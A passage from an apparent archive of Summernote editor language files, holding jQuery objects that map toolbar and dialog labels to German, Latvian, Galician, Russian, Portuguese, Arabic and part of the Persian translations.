        insert: 'Grafik einfügen',
        resizeFull: 'Originalgröße',
        resizeHalf: 'Größe 1/2',
        resizeQuarter: 'Größe 1/4',
        floatLeft: 'Linksbündig',
        floatRight: 'Rechtsbündig',
        floatNone: 'Kein Textfluss',
        shapeRounded: 'Rahmen: Abgerundet',
        shapeCircle: 'Rahmen: Kreisförmig',
        shapeThumbnail: 'Rahmen: Thumbnail',
        shapeNone: 'Kein Rahmen',
        dragImageHere: 'Ziehen Sie ein Bild mit der Maus hierher',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Wählen Sie eine Datei aus',
        maximumFileSize: 'Maximale Dateigröße',
        maximumFileSizeError: 'Maximale Dateigröße überschritten',
        url: 'Grafik URL',
        remove: 'Grafik entfernen',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video Link',
        insert: 'Video einfügen',
        url: 'Video URL?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion oder Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Link einfügen',
        unlink: 'Link entfernen',
        edit: 'Editieren',
        textToDisplay: 'Anzeigetext',
        url: 'Ziel des Links?',
        openInNewWindow: 'In einem neuen Fenster öffnen'
      },
      table: {
        table: 'Tabelle',
        addRowAbove: 'Zeile oberhalb einfügen',
        addRowBelow: 'Zeile unterhalb einfügen',
        addColLeft: 'Spalte links einfügen',
        addColRight: 'Spalte rechts einfügen',
        delRow: 'Zeile löschen',
        delCol: 'Spalte löschen',
        delTable: 'Tabelle löschen'
      },
      hr: {
        insert: 'Eine horizontale Linie einfügen'
      },
      style: {
        style: 'Stil',
        p: 'Normal',
        blockquote: 'Zitat',
        pre: 'Quellcode',
        h1: 'Überschrift 1',
        h2: 'Überschrift 2',
        h3: 'Überschrift 3',
        h4: 'Überschrift 4',
        h5: 'Überschrift 5',
        h6: 'Überschrift 6'
      },
      lists: {
        unordered: 'Aufzählung',
        ordered: 'Nummerierung'
      },
      options: {
        help: 'Hilfe',
        fullscreen: 'Vollbild',
        codeview: 'HTML-Code anzeigen'
      },
      paragraph: {
        paragraph: 'Absatz',
        outdent: 'Einzug vergrößern',
        indent: 'Einzug verkleinern',
        left: 'Links ausrichten',
        center: 'Zentriert ausrichten',
        right: 'Rechts ausrichten',
        justify: 'Blocksatz'
      },
      color: {
        recent: 'Letzte Farbe',
        more: 'Mehr Farben',
        background: 'Hintergrundfarbe',
        foreground: 'Schriftfarbe',
        transparent: 'Transparenz',
        setTransparent: 'Transparenz setzen',
        reset: 'Zurücksetzen',
        resetToDefault: 'Auf Standard zurücksetzen'
      },
      shortcut: {
        shortcuts: 'Tastenkürzel',
        close: 'Schließen',
        textFormatting: 'Textformatierung',
        action: 'Aktion',
        paragraphFormatting: 'Absatzformatierung',
        documentStyle: 'Dokumentenstil'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Rückgängig',
        redo: 'Wiederholen'
      },
      specialChar: {
        specialChar: 'SONDERZEICHEN',
        select: 'Sonderzeichen auswählen'
      }
    }
  });
})(jQuery);
lang/summernote-lt-LV.js000064400000012356151677331560011202 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'lv-LV': {
      font: {
        bold: 'Treknraksts',
        italic: 'Kursīvs',
        underline: 'Pasvītrots',
        clear: 'Noņemt formatējumu',
        height: 'Līnijas augstums',
        name: 'Fonts',
        strikethrough: 'Nosvītrots',
        superscript: 'Augšraksts',
        subscript: 'Apakšraksts',
        size: 'Fonta lielums'
      },
      image: {
        image: 'Attēls',
        insert: 'Ievietot attēlu',
        resizeFull: 'Pilns izmērts',
        resizeHalf: 'Samazināt 50%',
        resizeQuarter: 'Samazināt 25%',
        floatLeft: 'Līdzināt pa kreisi',
        floatRight: 'Līdzināt pa labi',
        floatNone: 'Nelīdzināt',
        shapeRounded: 'Forma: apaļām malām',
        shapeCircle: 'Forma: aplis',
        shapeThumbnail: 'Forma: rāmītis',
        shapeNone: 'Forma: orģināla',
        dragImageHere: 'Ievēlciet attēlu šeit',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Izvēlēties failu',
        maximumFileSize: 'Maksimālais faila izmērs',
        maximumFileSizeError: 'Faila izmērs pārāk liels!',
        url: 'Attēla URL',
        remove: 'Dzēst attēlu',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Video Link',
        insert: 'Insert Video',
        url: 'Video URL?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
      },
      link: {
        link: 'Saite',
        insert: 'Ievietot saiti',
        unlink: 'Noņemt saiti',
        edit: 'Rediģēt',
        textToDisplay: 'Saites saturs',
        url: 'Koks URL adresas yra susietas?',
        openInNewWindow: 'Atvērt jaunā logā'
      },
      table: {
        table: 'Tabula',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Ievietot līniju'
      },
      style: {
        style: 'Stils',
        p: 'Parasts',
        blockquote: 'Citāts',
        pre: 'Kods',
        h1: 'Virsraksts h1',
        h2: 'Virsraksts h2',
        h3: 'Virsraksts h3',
        h4: 'Virsraksts h4',
        h5: 'Virsraksts h5',
        h6: 'Virsraksts h6'
      },
      lists: {
        unordered: 'Nenumurēts saraksts',
        ordered: 'Numurēts saraksts'
      },
      options: {
        help: 'Palīdzība',
        fullscreen: 'Pa visu ekrānu',
        codeview: 'HTML kods'
      },
      paragraph: {
        paragraph: 'Paragrāfs',
        outdent: 'Samazināt atkāpi',
        indent: 'Palielināt atkāpi',
        left: 'Līdzināt pa kreisi',
        center: 'Centrēt',
        right: 'Līdzināt pa labi',
        justify: 'Līdzināt gar abām malām'
      },
      color: {
        recent: 'Nesen izmantotās',
        more: 'Citas krāsas',
        background: 'Fona krāsa',
        foreground: 'Fonta krāsa',
        transparent: 'Caurspīdīgs',
        setTransparent: 'Iestatīt caurspīdīgumu',
        reset: 'Atjaunot',
        resetToDefault: 'Atjaunot noklusējumu'
      },
      shortcut: {
        shortcuts: 'Saīsnes',
        close: 'Aizvērt',
        textFormatting: 'Teksta formatēšana',
        action: 'Darbība',
        paragraphFormatting: 'Paragrāfa formatēšana',
        documentStyle: 'Dokumenta stils',
        extraKeys: 'Citas taustiņu kombinācijas'
      },
      help: {
        insertParagraph: 'Ievietot Paragrāfu',
        undo: 'Atcelt iepriekšējo darbību',
        redo: 'Atkārtot atcelto darbību',
        tab: 'Atkāpe',
        untab: 'Samazināt atkāpi',
        bold: 'Pārvērst tekstu treknrakstā',
        italic: 'Pārvērst tekstu slīprakstā (kursīvā)',
        underline: 'Pasvītrot tekstu',
        strikethrough: 'Nosvītrot tekstu',
        removeFormat: 'Notīrīt stilu no teksta',
        justifyLeft: 'Līdzīnāt saturu pa kreisi',
        justifyCenter: 'Centrēt saturu',
        justifyRight: 'Līdzīnāt saturu pa labi',
        justifyFull: 'Izlīdzināt saturu gar abām malām',
        insertUnorderedList: 'Ievietot nenumurētu sarakstu',
        insertOrderedList: 'Ievietot numurētu sarakstu',
        outdent: 'Samazināt/noņemt atkāpi paragrāfam',
        indent: 'Uzlikt atkāpi paragrāfam',
        formatPara: 'Mainīt bloka tipu uz (p) Paragrāfu',
        formatH1: 'Mainīt bloka tipu uz virsrakstu H1',
        formatH2: 'Mainīt bloka tipu uz virsrakstu H2',
        formatH3: 'Mainīt bloka tipu uz virsrakstu H3',
        formatH4: 'Mainīt bloka tipu uz virsrakstu H4',
        formatH5: 'Mainīt bloka tipu uz virsrakstu H5',
        formatH6: 'Mainīt bloka tipu uz virsrakstu H6',
        insertHorizontalRule: 'Ievietot horizontālu līniju',
        'linkDialog.show': 'Parādīt saites logu'
      },
      history: {
        undo: 'Atsauks (undo)',
        redo: 'Atkārtot (redo)'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-gl-ES.js000064400000012323151677331560011145 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'gl-ES': {
      font: {
        bold: 'Negrita',
        italic: 'Cursiva',
        underline: 'Subliñado',
        clear: 'Quitar estilo de fonte',
        height: 'Altura de liña',
        name: 'Fonte',
        strikethrough: 'Riscado',
        superscript: 'Superíndice',
        subscript: 'Subíndice',
        size: 'Tamaño da fonte'
      },
      image: {
        image: 'Imaxe',
        insert: 'Inserir imaxe',
        resizeFull: 'Redimensionar a tamaño completo',
        resizeHalf: 'Redimensionar á metade',
        resizeQuarter: 'Redimensionar a un cuarto',
        floatLeft: 'Flotar á esquerda',
        floatRight: 'Flotar á dereita',
        floatNone: 'Non flotar',
        shapeRounded: 'Forma: Redondeado',
        shapeCircle: 'Forma: Círculo',
        shapeThumbnail: 'Forma: Marco',
        shapeNone: 'Forma: Ningunha',
        dragImageHere: 'Arrastrar unha imaxe ou texto aquí',
        dropImage: 'Solta a imaxe ou texto',
        selectFromFiles: 'Seleccionar desde os arquivos',
        maximumFileSize: 'Tamaño máximo do arquivo',
        maximumFileSizeError: 'Superaches o tamaño máximo do arquivo.',
        url: 'URL da imaxe',
        remove: 'Eliminar imaxe',
        original: 'Original'
      },
      video: {
        video: 'Vídeo',
        videoLink: 'Ligazón do vídeo',
        insert: 'Insertar vídeo',
        url: 'URL do vídeo?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion, o Youku)'
      },
      link: {
        link: 'Ligazón',
        insert: 'Inserir Ligazón',
        unlink: 'Quitar Ligazón',
        edit: 'Editar',
        textToDisplay: 'Texto para amosar',
        url: 'Cara a que URL leva a ligazón?',
        openInNewWindow: 'Abrir nunha nova xanela'
      },
      table: {
        table: 'Táboa',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Inserir liña horizontal'
      },
      style: {
        style: 'Estilo',
        normal: 'Normal',
        blockquote: 'Cita',
        pre: 'Código',
        h1: 'Título 1',
        h2: 'Título 2',
        h3: 'Título 3',
        h4: 'Título 4',
        h5: 'Título 5',
        h6: 'Título 6'
      },
      lists: {
        unordered: 'Lista desordenada',
        ordered: 'Lista ordenada'
      },
      options: {
        help: 'Axuda',
        fullscreen: 'Pantalla completa',
        codeview: 'Ver código fonte'
      },
      paragraph: {
        paragraph: 'Parágrafo',
        outdent: 'Menos tabulación',
        indent: 'Máis tabulación',
        left: 'Aliñar á esquerda',
        center: 'Aliñar ao centro',
        right: 'Aliñar á dereita',
        justify: 'Xustificar'
      },
      color: {
        recent: 'Última cor',
        more: 'Máis cores',
        background: 'Cor de fondo',
        foreground: 'Cor de fuente',
        transparent: 'Transparente',
        setTransparent: 'Establecer transparente',
        reset: 'Restaurar',
        resetToDefault: 'Restaurar por defecto'
      },
      shortcut: {
        shortcuts: 'Atallos de teclado',
        close: 'Pechar',
        textFormatting: 'Formato de texto',
        action: 'Acción',
        paragraphFormatting: 'Formato de parágrafo',
        documentStyle: 'Estilo de documento',
        extraKeys: 'Teclas adicionais'
      },
      help: {
        'insertParagraph': 'Inserir parágrafo',
        'undo': 'Desfacer última acción',
        'redo': 'Refacer última acción',
        'tab': 'Tabular',
        'untab': 'Eliminar tabulación',
        'bold': 'Establecer estilo negrita',
        'italic': 'Establecer estilo cursiva',
        'underline': 'Establecer estilo subliñado',
        'strikethrough': 'Establecer estilo riscado',
        'removeFormat': 'Limpar estilo',
        'justifyLeft': 'Aliñar á esquerda',
        'justifyCenter': 'Aliñar ao centro',
        'justifyRight': 'Aliñar á dereita',
        'justifyFull': 'Xustificar',
        'insertUnorderedList': 'Inserir lista desordenada',
        'insertOrderedList': 'Inserir lista ordenada',
        'outdent': 'Reducir tabulación do parágrafo',
        'indent': 'Aumentar tabulación do parágrafo',
        'formatPara': 'Mudar estilo do bloque a parágrafo (etiqueta P)',
        'formatH1': 'Mudar estilo do bloque a H1',
        'formatH2': 'Mudar estilo do bloque a H2',
        'formatH3': 'Mudar estilo do bloque a H3',
        'formatH4': 'Mudar estilo do bloque a H4',
        'formatH5': 'Mudar estilo do bloque a H5',
        'formatH6': 'Mudar estilo do bloque a H6',
        'insertHorizontalRule': 'Inserir liña horizontal',
        'linkDialog.show': 'Amosar panel ligazóns'
      },
      history: {
        undo: 'Desfacer',
        redo: 'Refacer'
      },
      specialChar: {
        specialChar: 'CARACTERES ESPECIAIS',
        select: 'Selecciona Caracteres especiais'
      }
    }
  });
})(jQuery);
lang/summernote-ru-RU.js000064400000016100151677331560011205 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'ru-RU': {
      font: {
        bold: 'Полужирный',
        italic: 'Курсив',
        underline: 'Подчёркнутый',
        clear: 'Убрать стили шрифта',
        height: 'Высота линии',
        name: 'Шрифт',
        strikethrough: 'Зачёркнутый',
        subscript: 'Нижний индекс',
        superscript: 'Верхний индекс',
        size: 'Размер шрифта'
      },
      image: {
        image: 'Картинка',
        insert: 'Вставить картинку',
        resizeFull: 'Восстановить размер',
        resizeHalf: 'Уменьшить до 50%',
        resizeQuarter: 'Уменьшить до 25%',
        floatLeft: 'Расположить слева',
        floatRight: 'Расположить справа',
        floatNone: 'Расположение по-умолчанию',
        shapeRounded: 'Форма: Закругленная',
        shapeCircle: 'Форма: Круг',
        shapeThumbnail: 'Форма: Миниатюра',
        shapeNone: 'Форма: Нет',
        dragImageHere: 'Перетащите сюда картинку',
        dropImage: 'Перетащите картинку',
        selectFromFiles: 'Выбрать из файлов',
        maximumFileSize: 'Максимальный размер файла',
        maximumFileSizeError: 'Превышен максимальный размер файла',
        url: 'URL картинки',
        remove: 'Удалить картинку',
        original: 'Оригинал'
      },
      video: {
        video: 'Видео',
        videoLink: 'Ссылка на видео',
        insert: 'Вставить видео',
        url: 'URL видео',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion или Youku)'
      },
      link: {
        link: 'Ссылка',
        insert: 'Вставить ссылку',
        unlink: 'Убрать ссылку',
        edit: 'Редактировать',
        textToDisplay: 'Отображаемый текст',
        url: 'URL для перехода',
        openInNewWindow: 'Открывать в новом окне'
      },
      table: {
        table: 'Таблица',
        addRowAbove: 'Добавить строку выше',
        addRowBelow: 'Добавить строку ниже',
        addColLeft: 'Добавить столбец слева',
        addColRight: 'Добавить столбец справа',
        delRow: 'Удалить строку',
        delCol: 'Удалить столбец',
        delTable: 'Удалить таблицу'
      },
      hr: {
        insert: 'Вставить горизонтальную линию'
      },
      style: {
        style: 'Стиль',
        p: 'Нормальный',
        blockquote: 'Цитата',
        pre: 'Код',
        h1: 'Заголовок 1',
        h2: 'Заголовок 2',
        h3: 'Заголовок 3',
        h4: 'Заголовок 4',
        h5: 'Заголовок 5',
        h6: 'Заголовок 6'
      },
      lists: {
        unordered: 'Маркированный список',
        ordered: 'Нумерованный список'
      },
      options: {
        help: 'Помощь',
        fullscreen: 'На весь экран',
        codeview: 'Исходный код'
      },
      paragraph: {
        paragraph: 'Параграф',
        outdent: 'Уменьшить отступ',
        indent: 'Увеличить отступ',
        left: 'Выровнять по левому краю',
        center: 'Выровнять по центру',
        right: 'Выровнять по правому краю',
        justify: 'Растянуть по ширине'
      },
      color: {
        recent: 'Последний цвет',
        more: 'Еще цвета',
        background: 'Цвет фона',
        foreground: 'Цвет шрифта',
        transparent: 'Прозрачный',
        setTransparent: 'Сделать прозрачным',
        reset: 'Сброс',
        resetToDefault: 'Восстановить умолчания'
      },
      shortcut: {
        shortcuts: 'Сочетания клавиш',
        close: 'Закрыть',
        textFormatting: 'Форматирование текста',
        action: 'Действие',
        paragraphFormatting: 'Форматирование параграфа',
        documentStyle: 'Стиль документа',
        extraKeys: 'Дополнительные комбинации'
      },
      help: {
        'insertParagraph': 'Новый параграф',
        'undo': 'Отменить последнюю команду',
        'redo': 'Повторить последнюю команду',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Установить стиль "Жирный"',
        'italic': 'Установить стиль "Наклонный"',
        'underline': 'Установить стиль "Подчеркнутый"',
        'strikethrough': 'Установить стиль "Зачеркнутый"',
        'removeFormat': 'Сборсить стили',
        'justifyLeft': 'Выровнять по левому краю',
        'justifyCenter': 'Выровнять по центру',
        'justifyRight': 'Выровнять по правому краю',
        'justifyFull': 'Растянуть на всю ширину',
        'insertUnorderedList': 'Включить/отключить маркированный список',
        'insertOrderedList': 'Включить/отключить нумерованный список',
        'outdent': 'Убрать отступ в текущем параграфе',
        'indent': 'Вставить отступ в текущем параграфе',
        'formatPara': 'Форматировать текущий блок как параграф (тег P)',
        'formatH1': 'Форматировать текущий блок как H1',
        'formatH2': 'Форматировать текущий блок как H2',
        'formatH3': 'Форматировать текущий блок как H3',
        'formatH4': 'Форматировать текущий блок как H4',
        'formatH5': 'Форматировать текущий блок как H5',
        'formatH6': 'Форматировать текущий блок как H6',
        'insertHorizontalRule': 'Вставить горизонтальную черту',
        'linkDialog.show': 'Показать диалог "Ссылка"'
      },
      history: {
        undo: 'Отменить',
        redo: 'Повтор'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-pt-PT.js000064400000012104151677331560011177 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'pt-PT': {
      font: {
        bold: 'Negrito',
        italic: 'Itálico',
        underline: 'Sublinhado',
        clear: 'Remover estilo da fonte',
        height: 'Altura da linha',
        name: 'Fonte',
        strikethrough: 'Riscado',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Tamanho da fonte'
      },
      image: {
        image: 'Imagem',
        insert: 'Inserir imagem',
        resizeFull: 'Redimensionar Completo',
        resizeHalf: 'Redimensionar Metade',
        resizeQuarter: 'Redimensionar Um Quarto',
        floatLeft: 'Float Esquerda',
        floatRight: 'Float Direita',
        floatNone: 'Sem Float',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Arraste uma imagem para aqui',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Selecione a partir dos arquivos',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Endereço da imagem',
        remove: 'Remove Image',
        original: 'Original'
      },
      video: {
        video: 'Vídeo',
        videoLink: 'Link para vídeo',
        insert: 'Inserir vídeo',
        url: 'URL do vídeo?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Inserir ligação',
        unlink: 'Remover ligação',
        edit: 'Editar',
        textToDisplay: 'Texto para exibir',
        url: 'Que endereço esta licação leva?',
        openInNewWindow: 'Abrir numa nova janela'
      },
      table: {
        table: 'Tabela',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Inserir linha horizontal'
      },
      style: {
        style: 'Estilo',
        p: 'p',
        blockquote: 'Citação',
        pre: 'Código',
        h1: 'Título 1',
        h2: 'Título 2',
        h3: 'Título 3',
        h4: 'Título 4',
        h5: 'Título 5',
        h6: 'Título 6'
      },
      lists: {
        unordered: 'Lista com marcadores',
        ordered: 'Lista numerada'
      },
      options: {
        help: 'Ajuda',
        fullscreen: 'Janela Completa',
        codeview: 'Ver código-fonte'
      },
      paragraph: {
        paragraph: 'Parágrafo',
        outdent: 'Menor tabulação',
        indent: 'Maior tabulação',
        left: 'Alinhar à esquerda',
        center: 'Alinhar ao centro',
        right: 'Alinha à direita',
        justify: 'Justificado'
      },
      color: {
        recent: 'Cor recente',
        more: 'Mais cores',
        background: 'Fundo',
        foreground: 'Fonte',
        transparent: 'Transparente',
        setTransparent: 'Fundo transparente',
        reset: 'Restaurar',
        resetToDefault: 'Restaurar padrão'
      },
      shortcut: {
        shortcuts: 'Atalhos do teclado',
        close: 'Fechar',
        textFormatting: 'Formatação de texto',
        action: 'Ação',
        paragraphFormatting: 'Formatação de parágrafo',
        documentStyle: 'Estilo de documento'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Desfazer',
        redo: 'Refazer'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-ar-AR.js000064400000013005151677331560011136 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'ar-AR': {
      font: {
        bold: 'عريض',
        italic: 'مائل',
        underline: 'تحته خط',
        clear: 'مسح التنسيق',
        height: 'إرتفاع السطر',
        name: 'الخط',
        strikethrough: 'فى وسطه خط',
        subscript: 'مخطوطة',
        superscript: 'حرف فوقي',
        size: 'الحجم'
      },
      image: {
        image: 'صورة',
        insert: 'إضافة صورة',
        resizeFull: 'الحجم بالكامل',
        resizeHalf: 'تصغير للنصف',
        resizeQuarter: 'تصغير للربع',
        floatLeft: 'تطيير لليسار',
        floatRight: 'تطيير لليمين',
        floatNone: 'ثابته',
        shapeRounded: 'الشكل: تقريب',
        shapeCircle: 'الشكل: دائرة',
        shapeThumbnail: 'الشكل: صورة مصغرة',
        shapeNone: 'الشكل: لا شيء',
        dragImageHere: 'إدرج الصورة هنا',
        dropImage: 'إسقاط صورة أو نص',
        selectFromFiles: 'حدد ملف',
        maximumFileSize: 'الحد الأقصى لحجم الملف',
        maximumFileSizeError: 'تم تجاوز الحد الأقصى لحجم الملف',
        url: 'رابط الصورة',
        remove: 'حذف الصورة',
        original: 'Original'
      },
      video: {
        video: 'فيديو',
        videoLink: 'رابط الفيديو',
        insert: 'إدراج الفيديو',
        url: 'رابط الفيديو',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)'
      },
      link: {
        link: 'رابط رابط',
        insert: 'إدراج',
        unlink: 'حذف الرابط',
        edit: 'تعديل',
        textToDisplay: 'النص',
        url: 'مسار الرابط',
        openInNewWindow: 'فتح في نافذة جديدة'
      },
      table: {
        table: 'جدول',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'إدراج خط أفقي'
      },
      style: {
        style: 'تنسيق',
        p: 'عادي',
        blockquote: 'إقتباس',
        pre: 'شفيرة',
        h1: 'عنوان رئيسي 1',
        h2: 'عنوان رئيسي 2',
        h3: 'عنوان رئيسي 3',
        h4: 'عنوان رئيسي 4',
        h5: 'عنوان رئيسي 5',
        h6: 'عنوان رئيسي 6'
      },
      lists: {
        unordered: 'قائمة مُنقطة',
        ordered: 'قائمة مُرقمة'
      },
      options: {
        help: 'مساعدة',
        fullscreen: 'حجم الشاشة بالكامل',
        codeview: 'شفيرة المصدر'
      },
      paragraph: {
        paragraph: 'فقرة',
        outdent: 'محاذاة للخارج',
        indent: 'محاذاة للداخل',
        left: 'محاذاة لليسار',
        center: 'توسيط',
        right: 'محاذاة لليمين',
        justify: 'ملئ السطر'
      },
      color: {
        recent: 'تم إستخدامه',
        more: 'المزيد',
        background: 'لون الخلفية',
        foreground: 'لون النص',
        transparent: 'شفاف',
        setTransparent: 'بدون خلفية',
        reset: 'إعادة الضبط',
        resetToDefault: 'إعادة الضبط'
      },
      shortcut: {
        shortcuts: 'إختصارات',
        close: 'غلق',
        textFormatting: 'تنسيق النص',
        action: 'Action',
        paragraphFormatting: 'تنسيق الفقرة',
        documentStyle: 'تنسيق المستند',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'تراجع',
        redo: 'إعادة'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-fa-IR.js000064400000013113151677331560011132 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'fa-IR': {
      font: {
        bold: 'درشت',
        italic: 'خمیده',
        underline: 'میان خط',
        clear: 'پاک کردن فرمت فونت',
        height: 'فاصله ی خطی',
        name: 'اسم فونت',
        strikethrough: 'Strike',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'اندازه ی فونت'
      },
      image: {
        image: 'تصویر',
        insert: 'وارد کردن تصویر',
        resizeFull: 'تغییر به اندازه ی کامل',
        resizeHalf: 'تغییر به اندازه نصف',
        resizeQuarter: 'تغییر به اندازه یک چهارم',
        floatLeft: 'چسباندن به چپ',
        floatRight: 'چسباندن به راست',
        floatNone: 'بدون چسبندگی',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'یک تصویر را اینجا بکشید',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'فایل ها را انتخاب کنید',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'آدرس تصویر',
        remove: 'حذف تصویر',
        original: 'Original'
      },
      video: {
        video: 'ویدیو',
        videoLink: 'لینک ویدیو',
        insert: 'افزودن ویدیو',
        url: 'آدرس ویدیو ؟',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion یا Youku)'
      },
      link: {
        link: 'لینک',
        insert: 'اضافه کردن لینک',
        unlink: 'حذف لینک',
        edit: 'ویرایش',
        textToDisplay: 'متن جهت نمایش',
        url: 'این لینک به چه آدرسی باید برود ؟',
        openInNewWindow: 'در یک پنجره ی جدید باز شود'
      },
      table: {
        table: 'جدول',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'افزودن خط افقی'
      },
      style: {
        style: 'استیل',
        p: 'نرمال',
        blockquote: 'نقل قول',
        pre: 'کد',
        h1: 'سرتیتر 1',
        h2: 'سرتیتر 2',
        h3: 'سرتیتر 3',
        h4: 'سرتیتر 4',
        h5: 'سرتیتر 5',
        h6: 'سرتیتر 6'
      },
      lists: {
        unordered: 'لیست غیر ترتیبی',
        ordered: 'لیست ترتیبی'
      },
      options: {
        help: 'راهنما',
        fullscreen: 'نمایش تمام صفحه',
        codeview: 'مشاهده ی کد'
      },
      paragraph: {
        paragraph: 'پاراگراف',
        outdent: 'کاهش تو رفتگی',
        indent: 'افزایش تو رفتگی',
        left: 'چپ چین',
        center: 'میان چین',
        right: 'راست چین',
        justify: 'بلوک چین'
      },
      color: {
